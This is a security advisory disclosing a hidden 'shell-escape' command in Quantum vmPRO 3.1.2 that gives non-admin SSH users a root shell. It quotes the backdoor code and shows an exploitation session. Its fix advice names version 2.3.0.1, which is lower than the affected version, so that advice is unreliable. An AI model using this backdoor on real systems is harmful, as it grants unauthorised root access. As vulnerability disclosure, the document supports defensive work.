----------- Author: ----------- xistence < xistence[at]0x90[.]nl > ------------------------- Affected products: ------------------------- Quantum vmPRO 3.1.2 and below ------------------------- Affected vendors: ------------------------- Quantum http://quantum.com/ ------------------------- Product description: ------------------------- Unlike traditional backup applications and other backup applications designed for virtual environments, Quantum vmPRO Software backs up VMs in native VMware format. This enables users to restore or boot VMs in seconds without the use of a backup application, reduces virtual server and network usage by reducing VM image sizes before backing up those images to backup storage, and substantially reduces the cost of using traditional backup applications to back up virtual environments. ---------- Details: ---------- [ 0x01 - Shell Backdoor Command ] The file "/usr/local/pancetera/bin/cmd_processor.py" on the vmPRO 3.1.2 virtual machine contains the following lines: def cmd_shell_escape(self, args): log_panshell(syslog.LOG_INFO, "internal consistency check started") env = dict(os.environ) env['SHELL'] = '/bin/bash' env['HOME'] = '/tmp' env['TERM'] = 'xterm' os.spawnle(os.P_WAIT, '/bin/bash', 'bash', env) log_panshell(syslog.LOG_INFO, "internal consistency check finished") return This is a hidden command to gain a root shell. If we create a user in the web interface without administrator rights, we can still ssh and gain a root shell! This of course should not be possible and only be accessible to an admin user. $ ssh non-admin@192.168.2.112 non-admin@192.168.2.112's password: Last login: Thu Dec 19 23:42:10 2013 from 192.168.2.72 Welcome to Quantum vmPRO Console -------------------------------- Quantum vmPRO GUI: https://192.168.2.112/ *** Type 'help' for a list of commands. quantum:localhost> shell-escape bash-4.1# id uid=0(root) gid=100(users) groups=0(root),100(users) ----------- Solution: ----------- Upgrade to version 2.3.0.1 or newer -------------- Timeline: -------------- 03-01-2014 - Issues discovered and vendor notified 15-01-2014 - No reply, asked for status update. 17-03-2014 - No replies, public disclosure